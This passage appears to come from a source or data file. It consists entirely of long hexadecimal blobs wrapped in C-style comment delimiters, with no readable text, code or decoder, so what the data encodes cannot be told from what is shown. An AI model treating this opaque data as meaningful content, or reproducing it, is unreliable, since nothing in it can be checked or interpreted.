ee2b27c3f5003d996a1b9ff3765c99dafc655d667d43dd6f5e6f9991150dd0e676fa0655dbd0f620b2effe76aa563fa911b1042e6b10d0b8603503079144e68883df85b258bd7dfd687f7ad00b0c91920228122bae0feb80fac746fbd1b724c1c15f5e8893045ea6243412f554fe40700c315185bb12858d62e2fd5a8af0e3ec3c37234f0967e29d7ca0625d5778df4bacc1760b524ad0e42116e836c656da637ac6a1680483740957c16098127132699e96b2a586fb469c0e10ec1466f623750f400ebfbee22d99db7b377390972f411a10a3c5f4e5264e3f88e8804cc912763216fca78092d3a4132734d694e110867b26b42ac85d10df7252e1fea8e6aa8965da0564ffb212b7eba6bfe031a5263fe8681681aa401c5d2b07f4ed0e7190aeb3db2cf903ea9a947b3cfb5fa907653916994dc0fe017f0132241a02dd8574c099facd7a5eb1923ac83556358765fb8f10eeb03123ff9be242389c66943bbb823677e2b0adabc40863dad93561b35081fdc6cd782c96435d28388e769046662c065115826829245e9b2448c063cf3586cd53200365fe4ff6e51793bfd0b343f9dd3a7cc694ed5a03529c95dee767edf41907671f81be63446030855115a3e08e97f93d09cac8cb482481319f4e97672f52fca8b2b50144d552f8f26270a923b91c942c41823b46ab552feb2e611f0f87025ae58460cccbe8172350c3dcf16fd5b4d0148198f4855b672c7c508dad4e0415dee59c1e8a83bbd8466e4a3dbb95931fe67c370b1c32a2402acbfbb54854379e6559bd2b5ec80a83a3ab685eb14b6d4e3aaf2d7dadd1e7112e6947c1e957015ed173a3ff4dfe3853187d12b81c65496aba388067373b5e22afd6532110aeae505bd03e57fa3cbb9148dadb3f750195dc0cd26780ccc65dc2f1de7ca3c872f268a7b0e552c22962eb37dcf6ec9b0c275041f36a8984d0d75c26518b82c3df775a5ad8668bca15b2f447c5f6beb1ee82e48fc214e4fd4f0062c859dce445bffd24ef577d4ab165e8f60ed794616d0fbf18fe2cdbd95594d9ccf5522253f2c5664aaf2324fe064077479d47ac76ab2981d9ae624f8018edf07f32a8dc02df8d74b228bf196e065c94e659975302c2e114d0879109ab4412db48e9d510132cd08d6c43d4e6b3d570e40e93bfc8e6d34a7a000f63d4ec24077da1956126c3e7ee5dc10b9f4863a14374901621370508743a15a40e4b2d8c3f596cddbfb4058d*/
/*d119cbcb4462c3e7667d6623887e91b120576ce85ee1efeb48053bf93c4023251d14e7dcecb6ea87952e2008fb7b33d5c031307f66726ecd2cbe478c421376212934627145493606d3e0ab6c286ef5254ff5ed6eac3dfb01efebfbda1da2198b3c4e33bbd126cbc143397cbe75148d8add8090fd97aba6cf4870f45bff966438c1740021ecd790e05eb1c98edb788303b0522bc00cf09c5dc5692bf482a0cc6b695ad6dc7d775acd268e87c67e47e7b01aa23301d8781c2c9db47df2e1cadcbc7a8b39b751afef8d11da4d0501173fea50ba50253c45dfe2b4b9c86a4d85bc009a1dc1bae3f1c14f7149ba411e6e76ee2acf3af8f7b2b1f033a60fc3a26933e1213930de67dd3fd9ac44fb57871dd3e9021a791b96589a24687fd850ce8a19af1c5ce1d15c934864b802bc6d6e16f2c9524c3fc0dd6769010a056b3c01e58547e4071781f2bd2280006e70d6dff60e0adfdd766b45e56a5b6cf834769e2a565c5ec49f3a061ff1bd2fa648ad070b4eaeeca7404ad5bfd4b65dbf6ecf3d61df6c92a83d003bd6a349db1a28a682b3da5669adbbab3b8bb9e76d23aad099b18fd9605de6da2fcf794ee02924c7e580d80739c7ff69ed24bc3261e48890c44b2b3b559435aae455bc5133710193862eae2f2db285f894caf3d01a6751e1c56d0849fbdf080c9ef96e315faf9fb6940a45a775c47f9281706a61a989507dd52fa5a22b720b5ed31187a55d44565535e7c88ed9e0ef73b03e82eb0194afb4270dccd1770d03e4c55ef4c34ed8c3a9e6e787a492fd022601c4a2169b9f3b5733e9552091f9b2963996938a950196f462e37b7dc4fbb3e7043f97bebdea87ddbb04e9b7b1089809b68a2323d631212211589598cfff6da9a666037af0429e8c3c8f81e48c50c7fb71cf0b9a248766e028e475b16a87e50d8642d015342b4574513094b949c29070ddf13f2d3da34f7bfdfab966f222bbcb2b729bd1ebfa552a5f205831553880baf5837ed15f8bb6adf211d8d3dc83b4a228410a792cc49f0ac767c0aaec8967f285da509766f73328128ed0dd9f7a983847af05b3884e955818863113506723c47f0a2d568560271f1be3bca5a7448acde7aa34de18272f7c7f4c808dc8f6a2c8ef9a15428c0bbddaa0788349cebff5c7218f7c8fcda3fa6b0868cf7fc2d6aabfad9abd5ff5933f0b5f22efd47a276da3372b032458e96ca4b70a65ba32428e12023910e3de9ff7cc7f1fd3f8028e73caf2fe5d90dca8c23ab4e89b99815cbca3fff15e44c728dcdf0675a48f015f77d4240c7663cabeac7715084fc3cf5dec323eb6717598c0e9a96026add902e023fe987eb9234594fc54e15ba3bc34a9c261ded36eeb1bee17a0b6d2e973f8e121a7d2c41315fb2b5282730d32ba6bbb83d7e695c25a8cf9ee405c5c8c7dcaef767320e7d754dab34f667c28e266bed0d89f7aedc22c5f4576bc16b9a19cc7f64d55c0385843b9451f4cd27dd78658b3d7b6d52e3d566b32b43871a1ab4c5f545d8011e0fe0a89bebe2a8c6c3921efcda5b55fc52416ab37c8964682b35183274462b2b25f26ed935e35012944752469bae4bbc53c3beb24e056211f6633a67edf378c66eabe8a9bf92e8eae1df979d198d4aae67b178368b5c3b966f7d4d87fe83cadf9882bb7a1fcf7894608af82ae84b02591c5253b6457076f84318f649e9d6a66d729352cabeb7f824aba69dd45a84bd0f9551975180e6a0a04d078055f4587b62272c3bbf1e05be75a8110ddd7bc1ba5d17a16f38acf2540afd8c9519908c64cab58b3f009b9de959f1a3df691a53edee8fc3748461c744ff106b397a7d545d8a0657b93d9fafe4a59412c555dcbaff33171d76dd7a17fb41de0688cae6703a4d752ab28af54a31dea5e8d111339602bab284292f71189ca8d9bc0ea5976e01298fb56276566a0b6289b54e432c63cc88f4ec163280273eb5485eda27c6532934112a56eb96f6aeeb769864162dddd6ae3a40504b8d2208f109d9c02167781b2f7a2196bb3ad22310678dd7bedddd6e30688632c0e55fb9fcbbc1eb2bc3fac810fa84c723e71ae5014617265a2ea6b505b4c4877616489d291c225d46c83910aa47e318c80672536bdf894e7c735e7f36171b04752332b659316c4e2fa666cc5b2796cd14ed1628c4f2e644b426303d1af5c1d653b0fe219eb45c6ae821946448175b5661c6fd8024da3cc0b71110396737d0a7f5479a7c0c7ac8099d614c64b15492acec0404272f4a5609c25386b6d7405b5362cf1e2c1ea6d1a4be0a793afd6aff2b8ffea06ccb0bae0b62abb484c14475e9afd04919303e85e56153db5f2772e6812aa644f087b7d7a36d8ba7e941dd5ee05fbcd24ceb4796c823de69993b0bc43e467f360aa3eeb101c6c1905da8e90a23ab7a569b63b9ed4e46c7b6a34123f66622c4d5e17cad0a0efcbed08498ca7bd1bf3cdb23548880fb290d3abbfe30d970b34ceec4357d3c8e7f65a1779207c02e48e6725e9e5ae1d10266947f54424fc9a31599896f5735038af5ed6f49dbe1fa75c0cc99cc09d4fa8a544961e65f30a573d21b93b442300732b2043add392b3068b6b41a5407ddf94448a2dbce85798bdfe95bc1de1483dc5891d9ed8c70da101e095910cf5ebe01d48545b9589b6425bc1bfb9b139edb6d00447e04a33ad9a560a80334fdd3dbf5dc8d18a13752a3f83a2873ebd37afb53ff18aee40a156e46fc618d3438b4751e32b3e02287709fc3376159ce6c8d47c81e32f310c97134412a83028a4776b32aa81d31eed9297d18d6df392fc2f2973173b9340552dd8daf26b165a2971fc4a*/
/*68f2e7745857632cd821cb9c2a52daf85d4d6d34320b1b483e45fc94b6eea36a2d8b73c2446e80c59563983a47a27aa48e016e9143477392f0df0d3521d24e4b40444db3c05e4c347f5701cf5d55a4eba80554047fb82171d85c6e38f168a4cb36c38d9fc04efd3ee2e38508562a3cbe7d37168aaa36e7fc7d0f7a7f108bdfcae96848be0d5f4ca09474b9a95b20580402bddfb5bbb372d8505aef4bb50f71389faad289e5a259c6903770948165e33009b310816dfd6bb64146c7a5250f9d768c4cf501c8f179a9df5ec6829323407023f1f65dd587a14120696ae84523778fa4d267a8e8a6efb5fdb07537eb9a3e1629d4f1be7bce940f6d5e330b2547cfa6ddfe0e84d49ca9664a4eb863f35db0c883935aa18f5e971d21eed9db0147fc7717ad2936f30fb5755789d73f0ca7f9a064ba323611a70cb78ed7ec3660c7aafb2c777c08e3bedb8913cfaf66a24e70c4f569453aede196182b5d56249e3cac19125c8a8ae59876c2a5eb6a0da9bf392ae0a065b633d679a624bc929d7d55b2efb00c46ed033a04877042ffb523a532ceda6148b4c13cce43ba9a75a609024ea35b88ae0285205fce2b6dfaf15b9851b67f26a6145a03139bee774a3024d81faa8e41999cbc9b34639f0786630dec2a3a19cb9a782876d1eb7ba27e2b1bb577c60472ec02929ae6d0407aed9e2fd779c4802a8da5fd9220720f4ebc9bbba8a477bb3a5a202e9f5ceb27eacd900573619d17e1cfcc88e4c7684bb71e33b99c087f08ade98ad52242d6a8671d52bc2ccdad68dbd55d5b0dc6b4185b23c16e4579363cd634bab5ced485e8f23bf010fe122373a980b5fab8d46d94654b18428eb59530f45fd1a87de2295dd6caddf7a954ebc9b240a9fb9cd2d93d04e883478e9bec657d9fde68481c485317642bbcb80d085ef791119bbcd33775fb8c2726b14bee039f7d5a4a779bf59e124f57349cdc753c2d645d33cb343abb3dd9e32649071861fbc17e299c9f3cb1ee7608bea7222c641ba7baadf8c800e837e9460de526f130a2769778ceb73988b739571af26a864cd47bd7212c91423ab1d73941d1106d7b3ed35009d0c1c37f8215c49726ac12dca54562791763e30afd9e00831cf7089d5692fddff8fadc3f9a3401abbabf90531cd8e45255facf896a00b5c5393099be4008674ed6bbc3efe055530646c3c009d809fba839554f0fe41f14356301a6ea6a3f4eb9df91d723ca5adceac622f57aaedc5ce23de24b45e5e82be61cbdf85876c821d53bd65c3e335b7cc58e79b22834800da2b5ffdb934c762de285ea943ed2865438109a06b8b4a07917d7c7c33bc6baa65615475aa064a773c02fed99d29c4904d485a215cfd3374f32556e8e8a221b0968a9caf18bbbabcc4ee72bd0528ea51447f07ef764b6146c74bd1bda77fa27f6d7af5084e8a8c41a78a36ead980ae412cd07b90265dfe8fddcfcf59ba60e112b3a1199fb8b67b0c152a9239c3cb9e56a947287545587f49f37fceba60c9a7d3dae06339247ff6daf2510a3b28b84ab91e8f35ec1ab98d76dcf34dac846c0636b86268470b10311ec068410fa0e2d5e3a89b46b46396fdfb2830f6d08bd061e95ca2110799f93db2a23539ba59cd56ec0ac839e06e46c69ffa5770f32b50c5a76699e1e43832403c6588f75854924948ba5b46bab3456b3d681e6ea9c6f1d39b8c5ea7e9bec0aa2e61940cf730b554dd82f56d74fd893897112c16ebb3a802a11f22ad4eab108c172be0d20075d06832bc21ecab29300406b9291664d1e4ca51fdb85eb3c0d3aa4e8a14714953eaf3fba76a2cb118ab6eba3d869989718a986988f8acb82aac1fa8312df81e00bebe3e2e5c81233d610cea9577e09d331b4c6c8c2f3bcf9acf6d7e7724811aeee23a94a5d817ca8429ec9f989e8bcdd12cb17911053bca382404cbbac0d6fc7b6857d6a65327f3f91beb263ea166445a48a722aca3a61e52998b3f168134905276d64a4c70d5064f3863ee897c2dab3e85fdfe120f14eb1f5207479ca96c09e92d256ff6081474d2d6208cfdb1ab7dbd877ef378cafaa8d4dd23fd8ec7c58dfc8362e1e21d6a815c46c54fc04094d1d4337fa8029a3c5ad184ad71dcb2af1c7feecd193fc6e51ed181c2b3896a9008866aaa5d29930bd30f5c03ffa3e8fd7a0a3062968bf04d1f7fe68e5708881962c3e83cb4c959f9b1d377095a427a32b27455459a7b6ffbb6793d5479bc01125427860eebda39c343df7d9cbd3697d5a21339f90a11d35ada7bce76920efae80127e04be335e5114719bd3bd64380e2708fa197470d09088609f3e272730cb3189e263b6844358a3e88221b7ce96aaff504e45cf85c1e5aafbd93d22f28a41d07b76d784e94939c20ff1392469b521a693517c122634092a996bf1ac4525b7863b51429f91f2d3d3444becf724ee2fabd913ebf3088d29c5d84b6c7592d367575291a7c9a4dbbf06a2d6349b6bebc930101ed7572be6d0324ea943762f5ce06a7905fe25f745a3947264570ed48f5c4597458487a0c76d581826ea58523dd0978a58e8ed33ea3b53ed35f87498f840502653edf407a0bd8ce969b9637663e867e01e5201aa11a2732692ca35511e267bf5cc0b7ff9d683ddb5b975c1235e95f86c0df410174ddcc1f2e03509cdc49450e88ad7b95ad9ab0152f92196ec71827ff3c8f612a7d350a357785136f1eaec0e5cae7aef534e53b9ece6a09d289d54c5788bf306dcd9ae9ed3e215b251a3a47800193d6bf793afa63803ec160966f1a413a57b4d56967ccfc76a83a7c31c600d3ffd3605be33048c001ceee34e555ee50a*/
/*f0174709b3b830b9bd1ec2b6a8e4bf2ae0475e1065e439ab36b3be0c98bd0e506609d0acbfe95755dfa5511fdf89cb53dd17bf78f3205f20db6af851086060a025424413c91c5327936c80fc3050e6f1dc16ac3ff1aa20f5e9a9d85055589844ecda57aa699bb23dc9357f779c045dc3cf49f263f2ad9101849eb705db975ac8b30d2c45ca5eef4d2cedba6d1e7bde0634380e0a23085aca88ddc64669b8360c429349401e79ca024477bffa76322a0b6f958749b7cd18c1b0c1be53b15286a204cf107096d5676fcc36d8de3d279f9b8e763ee95184609c7657e758b823c74c00b9fce1e54b69d92cec5cbb080b91af4adf4c6607e5913542e1d1db0e61c3215beb7009f167cfb17fa20afd804d5b23330c7bb020bc175fb6136284caa5812eb0d21c57aee2ca5355b2ee9bdb1c460f01e59e9abe95bbec498f300eea4e3cd630c5b14cbab39f8462d2bd66f517f9cdbd88b5e690734d064ecf90b67068de792c87c2d2248f2c6dde1657973b7fdcaff2e64abaa72a4d1982078b6c8fbd6bc2d96357e675fd5e290d9d9a85c716dbb755c327b835aca242daeb9f5161ce11e7ee0c6593d4640c2b9488c0ce3349ae54bc15e033fd2549e6b154d48b14ef289101c9917c9eed777722000d93e68bf5e2e7d3c36a28929370ccbe3a866f549e71405c5be7f472dda9fa536032c9e7985a6e87440f69337f02fb14883db4d2dd4107fec51c8d229748dc8761337ba4b92849a71fb3e3b6aa6651322faff1e07804ccfa56fec9c1fb790960a19bc05eccf9366a456b4ec364ddbd3161ad6d3fa033f194a0ff41a73c309f2dbdb2855e5aaafeba5ef71b8c1765911ea4b02aaa0ea734422b70c98eafa3eb08be598b7c9fc94ec49698f1bb9d3f6434369a5a01713786c66dd86fee55f021b0db5e62e5d86cda1b215fb9634a46e17f55b5e85a1f96745982bcc55c5dd2d0f2582dac942a7ad72cbe2d11473c5c244b249bb7d3a8b8ec3ea66850f2651fd7a866cb2fce3ec30698ac3fbbe82923b85dcdc55cc1c57f76583cc9acd3157eb6384a8a1746b2dccb471d56f1bb2da14ab4292343ba78d7dd5f74639f40ed1f1fe1c5fcb5dd1f8c9aa48fe566cadb1a26ca786bdbf5a77be39da0e81224b97984c620bfeb70af0e687f0d94c794c2cd6844f5fbf77573e7f8a7ddc48df8028c8d077ca6dbec576ffdf35509c8ff7610993afcbc1703ce3d29a12f0a1ac663f2034ed45e50dce740d2ac6b62dd321228ab34c3013a7dabe4a8042a9e79beaab51695fc99a8f95d03bee9c1e5bceb158103421188fe9ed955a459717e5d6690c9d53c1a317e4db5e53b19c3e3b528ca129e7cece928e17563b643d9f5d739c1533dfce06f10f485e1bd6601d4d50f80987df76ac225a70e2b24f977680792439b66c852df2d12b5ba5ef94bc70fdc8cfaf64e3907a586cf05869d314305ab279ce3777195ced025efc2fb8a13d25495b2af7785057a21111600b9b2fb90a0eddf6fab43bb1a545142531b51784573de6d1512b14d9752d524386501b252829b9711230449dccda846e23d5c5bce5ebb41fd5a1843b13491fd8554b89d2ed1bef05d6da6768af9d5ed865a8f6d081e5c1d6876638275ce9d7ed7778391b06c087beadca0115cc7a65d96e8cc27d5c31998756d41c103acbcf3e42140cedc5c36b8621e71524bb284f7a463883425d7c45eb594b28349671275949a343d0018e447386023cc4f7a493be3724f45c311fd78fd8d3d47f59b18174958f11a7c6c7214d2299d928c24a5b3d6f96fc031f2b0b317fb12c01020386e2a31d547d287f97ab3432da544cf7f565040db0653936a754b546ed6e99b1413a9e909861999171b533e39e1e34874df58d9056af005642f4bf8480405e67e5fd28ac596449049e6e7b92fe9f8db6c2271c7c5ad8de08ddef0c43bb011b1fff913cb7be0a19a01d389076cb4a05bbda374f3635c8e4ae7f762addbf142f10da8f71554a37d1efaa0d17bcdfa95ca68d9cc02685ff6705b927dbfd00ba51d466bd27cece354e8529adec39c6de17931e98dc456901e274b42ed69a3dd28a1c16578cb967a529fcc5b7ff832582971c5cace2e9c5f833840c0ea227db163816b3a71d0181d99106437679a43f1afde8db2de25586116ae6d3a39ae91a643ba5e7656e3b20e28f56388f441f97fbbf9901ad53a8599666a17e8fa4345040301c14de01f2c2551556c767a265e44ab1f116d1c2df75be2d00714d42c68baf926b042a2bcd14c8023b7edf819d2bea68645b8c99e98f1bc52853631d8320492b4a2341f961701db120ea6ce3b76f04cece93e8fbe50fa34b2c7b208728b33996cddf1110efb2b7e1e27b66fdcffc8eed8113b93ffa4d8e9fb8f159ff34b5ed6a07efa2c40efed7bca517a1bcfe7c099647beaacd98d430da36413470d04bb484f3fcf08a4a9a47c692d13b2c13333f4dc98021b25fdb276c0a50390548b514fbd602cef429b9f69469232ded1f5d21c26502aefb45342f989306d30cb651e470f6cd02bd3c21377780a55ed706709847ae78ac9efe970fac5be34a92ee723278cbc724e4eaf5ceafe02fed0d0a9ab2a1374d9faf1ea2d5c6193455664353793d8c15e52d4571309eaa1c4e89dda8417a35a02be421f1c4f65d29ab2366b5711cc1bf4e8688aa4c042445348b8494797a6603e736573c163b22697c389866e7893539fd110d8f18bf3ec69926e5cb6dbbd877107eddcb07b52fb20fe4ba2846ad36c6f8b8259e7ab629d58625df253ead6e1b30c8bfc99360e6baf47980af92c41ce1a2dea1f8033c5d084954a6b17aaecf095*/
/*56d4dfd6508b8049e39834dfbcafa364769a4a0c12e2809e6d3f6d55df9deb31b0592eac63c8d6d4efb75b68dd7ed41023f288563d67931f5f651517507e4c84c26bf45e65392de33ed047d3a667bec0bc244c10522e90ed04919873bc887de72d31432eb3e0530a56be61b8ef972f119dbf141fdded204719b957740d3afc4b5921496cf193536f0a51f4c8d1b32bc19d2dad09b72cc4eecd048dd7098bc9f727048ff19d63159c5fd3f5e5f95fb1683f96309d8285d6fc08afc4f2453dd91b0c8e8beb770fc0ce1f065e9d74da1cc5acd0bfcfc7b42940e18b0d20232729f61224a00378c7a6cae26d1de9c9adbc60d3c71df922b62b221599fdb9871f64c8ecf5911a250e36ad2d3041b48815b45bbe14bc9080e93d9c250b8c1f0eb7b8458e3fbe826331b01baaf0f6873919c853dab4f7e50b7cd06f006e15d9e21671aefd2bb10c474c77b12d9c639b2187456027b4f9fca5cef1539b533746af4cbb1230ef1ec68c91cbe2afb55e480570be75b8c4a98cd807eca2bd78a4cb3fb5a6b986942753ec45c711766168452b1a94a6fad509880b33b10ebce1cdd7558c7e517fcf7ea50d52c263ce5cfea30b5600e10c37d36f9fff854a9365b4b12e0ba652dc051cc7a62da3770c590578fc43686dd4fe26c2eecf39bf7b04a6494caeca349fcd80ed1355f52b664eb63e465114190b87a72581d000d2422aad76cb8ea2dc2ce0cd41c30e24babc6c49e4bb013809a79b2e8c028d9a24375934ce490aad98f7239f96f10c14fd64f00eeff79c441ec727399c20dbac5b3ad1f7db8873ddf8dbf0a07aa0a6b7ace0d601eda36ba862d1e448f0e3403bbafcea4bbeb3d0e1a7c4a797532838ef58fc0585a7407aaac3449d56d5e68138ba07e77c6ffea345a3cb9ee93fb831c1b4c69dd4bb500066bebc69b908196a26ed0e3540cf5ace8c47aa35352f7abe2179e0b3b56f4a714354b15989b58e5ee3fc9058dd195c947d99cd3621fb5b07d30754e4cf1f66069944c5a9530c442af1de89ed3607731b5d37464534e6d56c5639325b60f0962229a1bba02bf3c061f15613d1ff69b8184e87074c1b69e60d9ca81b02aa07e7db8400ecd28a3fa31124a37a049f922a1e90c9285e02417628f19213fb212a671cc0e6015c80ef600ae50b716dcebcb8c1781a7f18c72106d57b9245fc0247a036b58607f9cb165558889fab181beae586df99421afeede80142aa3cadb186f0228833c79a2b4f7c744cfcc7af830701689927953073a2c3aec5213c1e84129fa9d6df02c32e7ce9ce6978cc4b7292064b658bcb38b854e3ba05a03cd547525c5b33cceeebc0dc5c68d2a1bc4d21d126ae72275a9c6a4cb6de2a20f93513cf75300d8e5a9e2a406e23354e68048b48325aba5a2ab54f63228e4492c818180346768aaf7abc2dd77cb66d533806e46281d6d8760a1b8b8025afcf1c8f879e4d35e098a2aa772764a3af4991cedd1cdb585837848b8c2d45b26f656e5a05c0cea432a225f6d4b4995266b3bbdca29fef80c724200881f5c918a75df63fdff8e54e5d8dbe2dc34ed67b6c5a9c9f1e4152a36061b2ef0f715e0877dd496d0b0c44679df24638521cbe07505cc68777c7e5b60eb88c0fb37f51c32f5fbb223dc239b673afe7d3e56e704ef4193af73cb7ba4d54087163d793e4552bc0d3516346a0bd91c9ddf74a6494592f36e0aeb99595a6eee58d6e4607ecdf7fe7d1d4e628bf06f762654f06f8a7e46cf545733d2c11bec667ca1234ea49575f2387e50c38f82a44f4fe0b100756f665fb3b1eced1d5d9a4a2e9cf7599eec849908cd1faffbed5450135b0be1a4a301fc816315cb1f35211c18aee1784073315ef856b8170376f28f41669b028aa5dad54717fe8e7cf8647b4b8722bba6d85a19f301da64dda7d5803126cea856a87e2b790725f4333c7a88e648a9b5e749c4c22705b64401cf6ebb937cdbce372b8a1cccc3bc569697f6a729b7a57fe67ad8785d326969f32c17a8f2c1b41a5e5a101b1292c7293cca124b07d58702fea5ba71fe09fd5ff6f72bad9622aafb9bb46d8dbd0672059b4272e628664f6d14ca22614e31dced7e9a4005aa083113dc169acd8cc366650c0ea9db6e2fcfa79a04a82ba7d97b51c4f12e2ad9f70d7aaa0a62bc6882d9d97faea4720cacec4d72c0309cbd3a35085e59fab80c9540d4daf6c727e4f216919b2387b4a4d74839dd77ac9667b0a246f32e51f97740db4e86e54a9f4f0c0cce6c1cd5a0d40f37ee6a42703e759232f4fa7c33689ad3e0386a3c6bb155cc2ad8c61348afac6f80050037c984f54c832c68ad9b3ffd4c03152837bedcad5b8fe1d828adcbab7a7c515b1e4e8bb3c881eeaa1079fbce473046fed55c620a057746732f104cf2776d468dbb522003289103b3dab6f209ca763b1780242ef2c931ac89e4c8c1d7100d16c705f9774cef2cd84b747e21cf786cf7ecf625e7c69ec3f4e6342442042b1693d792cb7921c28983e26bd0a0add937723aee14b0f82cc2b58326639e77462096c2d5d1cb727b39e80591b53455273dff57c9e332a31359a6b53c24ae0af382ede4ed1de1d0cfa14f411345d771dda999e07d577058932b51c4bae5962d54e044c66bf7047126c2648c40ea7c923613a7fb903acdd1d547515a79018c07df5e75f386f42e4181b8d5c7be6ac823649143f07f0feed1c28c71606e8edb369c63047864452cd1b101eb67f04c456fb5ffa937bfc189057568e08c2400187feb92fc860ab0697881e2587dbe05599e1b2ddcae11c8e49a57f0c9243c905ff8c05ff97f9daf8c4851ae082abc22723c3*/
/*c8137f9ab871a983331ba43c286e1550ecbb4151fa1b04eb5e39412fa93e9ea6419120e950b590dbcac7c9e84ce5870be5a50a5207b8734a6d53cfe224e44c7eacf04466d5c1062da88a9ae2511fb9d14ea636d8a5d6f2b54f9e60eea928182a7650d8de85050b3e8c1c6b13715e8d1af00b68287dfea7353087d19017e9420680718cc104f5282aec9f40999977f074b533a771d8e1c1cd528adad45604bc1dc8abbe1e77746e3d8864958691489e6e9039039196924e07153444c4691d1ed9a2c21eb9ad52797343ad5830cba98de2ecb1f6c80da5b685e3a7828ba5b35456bcffc1906345ad29d18904bb6a3306c526f0f97940135018b01672c1e82a4fd32edd02ab23cf50881de5d815067786b0d514c03f9de79601cfbf187b5965596f91747350a7e6bb705adb611465d58e3d18755a92c8d048157ad87db9f8ac901938bd39426c30ad69e8dd0e19402365c4b761446e31e3525cddfac57a8d7a6c386b56cdd532fa94da445dbbab3836cbbb84e58ed39f39b26d29a7d876c5fcf5721ba89069468d62b03a8e77d6fbc871c42b149bac366875cc8821bcfc474aaa52894ba415c1a84245f84afa867a5c0f3e48b14c5efdcfad632ead4e05bb3441fcf369df0aaea57155655ccb75f3e17b9279a088275b398d42da52d032ff7b0b16d1a0c4faa34d5c50322ce06a7327af9695b30a2880155d0959f7ea38498f33b9c660ce7ce0b56802c8b284b04cf80b3716a930c5268d405985cdefa64ce23e6cad8e56dfb3bc7ca0577fc91a484fd5f0f5fd60274b479fee967fd3f0befc5a7a69e0f70a5b0241e3c388e8f17ea6e2faea079659e66b355843714d0221061b0fa65c10274db16ef881340569c2a4e047a933a08def184d2eb1fc628fea5334d912e82b34aed1810ad4d7281d304b896c22095b9adda5df9b6bf45820a4ffdb9e3025d364a4bc3d028c3c63d930467f83f4f009d0bdefd560ea9032f1c72dc6a63841209f3d2fa33fab1853e37c63ce33683a5d5c6894d861ff35ea6e96eb745a6e89aede3ee920b4a227f6de2d44c41ccc3ecd37a162da9f2fe0ffe08b0ba2828b00f916eb3248ed921443dd85543523a8d80d710740871ef9c4369b0d9b9ba1fe7e5102693cdf5c0a784b9dd60f3360727ed5587628e25f2bef9a632af90fe47598ee8c1b0aa845fb91485b92893ceefb625fc1aaba695e0a8b0d958d8395bf4f675bb39f27ec3cb274f0fb9cd6ce4be419e0d148f78c52f80ed27791bb5b7a28b6d5bf385912a89272ebdc6a62878b899b4637befc0b6f40ae3cb151f23a14a62e61530f5ec64ed32986a8dbddf533e097cffc4877cd96d27f19a431c29d8debbb520ab5ffc5157a9fb61cc87d254ed1dc1b99a1df86395a211fa90867794db0fa8fe53d5453d6f4f163f49765f35610f0f64169b0122a205ef57c1acb7ed4cef0aa861ef79a1cfd401eaee2a2121e25e906d7a8eb05b919753dbeab573be643cc83651d8f9fd5a3d55a25b57bf74d5b44fd2a775034dc8df6d426342f39f72179825b12415149541b2bb4ff557ba8e74a030524d6d13ee88107b6dde0601a42c9cbf0eaafa4f2a65cb39eb1a6ace9b96da6431fd0a33ce7b9ef63f60658a84c51eb5b25434a6feb78d8822265a5c27058a78268c07c774ec6a442fe6d7c65e1b44bfa86c040bce03b89b36c3137c79570823796ff4829b7115bc764d4fda2cdcc3bd36b7315c07db14024ba2f9dae607d1ee565539edd480e7ad92812f31a4d48e94bd57ae25223194388a38dac4f053c59dae3375c56c637c3d1ff58c6bb105c6d741944615b14caf81feab9abf6e30fe1da33b7173d7dc562685a76ba10ccbfb43d8987657ebdcd726e3713e53cd09105a97b0441362415012d4b3945f4be9db3c11d3c66d1b2f974bdce0f4340989c1abb75717a63727d4a3f46f955687910a1f9f72987414752833d1bbae9649feb7fa4dcc81740cda8e812343ff621922e220321bb4785cb39b3f0ca50b90baa515825f1a751e01c2db08402a9fca8eeea13ecf51858f4609971812f497b3b7ec004486ae791a88daf559840423a0bc82490161d9ae4d64de47764dddaa85b72d6ad0e6a8b275b63690edb92d24d8d358a94935c1e4d3d26ec9d4e02d66f50020969dc4a21c0f9a2dba7a1e270dec7ed464cc7912e1e7be301c0e5da2727d59b71024e87b6fc41e25eebb3bef604b2f557035f6c516af9106a9a88bf3e7712b46fdcb9b9aaff0b3dd9fa0b161a8d0e11c10ce7b156cd429e7da6a5f2a967bbd8310c2f026810de9b19b5288446b54b92de81552cd44696a334b0dbe55f875713b5ed2e80659475e0842534adb22c16f329773da6214554732a435c2d906c9ea2128bd74f7fa72bc9f296c544f613c88862e1516b4a09e9aaa58a856504e8dde3446d5e31bd7bbfa116d3f96485237469da9602eeed4e96e429ddbc4a11977b71e8306659cedf4716f1bb3a9faa6be0b95c785772fd9a4eeab5c0a9f24583f3d9176d67b0a705edd5836a63c1353d7be90d9e3fc399bf39932f2dfbe646cc51ca6c91c3820692980fe61666b3985fa468e42f97be9c8d6b47533f5af682586efbdd3eb98e76c0c68a490b26f460a26dc43748121717198d3b11ac0548a5f54bcbccd977f9a21d13d4f3418f7ba0d1d75cee2dc9e5c4607c344f0408d5071309070ca70453c1c5dd38194c072a2edc6beeb58f9af2e292fec75b7e01eb69a2d6c49dc43036a13412742fc3d4f03ec9a232ea0d55d687ba01bfb380146ce10ecc3f1c526f46b94846a1ddb5b45fcff474ddb399a51df15766fb5416349a038bd1*/
/*ee8cb379b48385ffacf5be6f6ecfc5237d6fcdcd02a33464d13cd106543a6bd39f1476c5508e20e5ab9f0a8664c6e19b1a5d9eaa44112ad925378ad6a3c085e1550b819f657372ad623d91e1b278ff7ca9a490bc273b686998fd39637ec41db2132c81a3bfdce95b1f10e268b799fc4bde90fe32b6a3aba8deb468ccec0b9f76c18c3faadfb9f833a55572870187c5a025c1973420ad464aeaa6452995fffa37979875a397ec8b923c1a543d6f8e569b9ab267768fc8db4f1fc3fc22a5c9ba5b06d6246a11f2b52a8c81b12f972d266f15d308136e0361964d640df23c7f8cf4392011aa1a036d32433b8efe38e675579b616445112966b9cf418caa0fcc1c0f088bdeb1e6c0913e86bc3067d404405275bea2539206e40978cec7f36141d7f2d69a98033ec180a68883c8dc6733cc28ef26b04589fa21a2157127c68e60c2f1487f8885b21b80db41ee9d1c63d4dcbe61461b75d846ef429a8daa0b3b170d49b781146102b0b9515349a1976bbfce4a2d58ddff331adbdb48af33fcafa8076c327589226058dcf3027f7d90e6cc0f023b56d78bacdc741e55542227b5671dbcfd56b0744e8bda112fd5e2fa0f18a8eb34fdb8bb18406be37a4992fade390e137e6780a5d15ee08bda5173d0508a373a6166cdfda7e016496ff5591d34bb5480eea67de22209cec66e52758de4a01ccc63f628beeda751a68429e0819587177ef7822f79191c2aba3625672b5980e7caae4ed858efac700d3161f1e28bf2192ae81e50e2371865a30cd33bbff0df0ec3d0801a3f325906d768a05e2d976c7f5aa5259a2c6e39f0faeab5fa32e6777bd96f821424c754c625a27a69caf1b